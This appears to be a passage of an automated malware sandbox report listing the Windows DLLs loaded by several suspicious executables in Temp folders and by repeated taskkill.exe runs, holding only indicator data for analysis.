Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: version.dll
